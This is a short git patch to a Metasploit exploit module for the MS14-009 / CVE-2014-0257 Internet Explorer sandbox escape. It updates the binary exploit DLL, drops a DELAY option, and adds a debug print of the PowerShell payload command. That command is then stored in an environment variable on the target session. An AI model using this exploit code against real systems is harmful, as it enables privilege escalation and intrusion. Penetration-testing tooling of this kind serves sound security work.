From b8a2cf776bba370cd14a58e4ea4713a10ef03598 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Tue, 3 Jun 2014 09:48:40 -0500
Subject: [PATCH] Do test

---
 data/exploits/CVE-2014-0257/CVE-2014-0257.dll | Bin 108544 -> 108544 bytes
 .../windows/local/ms14_009_ie_dfsvc.rb        |   6 +-----
 2 files changed, 1 insertion(+), 5 deletions(-)

diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll
index 00a4f22ff675408e69861c6a5f7ca379a9016506..880dab912727a4a55be841ee2cf433338466f02d 100755
GIT binary patch
delta 178
zcmZp;z}9eqZNdkpZ}&ES3KV4I*z6*-osm&u^B>`9tl~PAi~?B-K`-VBFfeqpH6Ia(
zk2@Tm5i)tDq!MGx<TH{sj4hivrIdJp938bFAg5j}^r_spd%eL7K)?jVAjXL*Murn9
zj36O~Z}+x;;$~zE=M4Z#c`!IL_%gUKFidAmW^CTxk<94AC=j{#`47wQvppy5F3f5C
YG__&-ofO7R_RI~IE!!t9Va#U+07slX4*&oF

delta 179
zcmZp;z}9eqZNdkp^*1(t3KV2y+3X^;osm&w^B>`9tl}D#i~?B-K`-VBFfeqpH6Ia(
zk2@Tm5iohBq!MGp<TH{sj18MPrIdJp938bFAg5j}^r_tX8@<5{K)?jVAjXL*Murn9
zj36O~^*6SE;$~zE=k#TWWC&#lV(^*Hn#|bD0+QR_k<94AD3Djc5E7)<=P*4sv2$-t
XRR8unDU6%!nQJT?wohEbn9mFVrwTZw

diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
index 84a0ea81a3..88f1f19176 100644
--- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
+++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -64,11 +64,6 @@ class Metasploit3 < Msf::Exploit::Local
           ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
         ]
     ))
-
-    register_options(
-      [
-        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
-      ])
   end
 
   def check
@@ -156,6 +151,7 @@ class Metasploit3 < Msf::Exploit::Local
     print_good(".NET looks vulnerable, exploiting...")
 
     cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    print_status cmd
     session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
 
     temp = get_env('TEMP')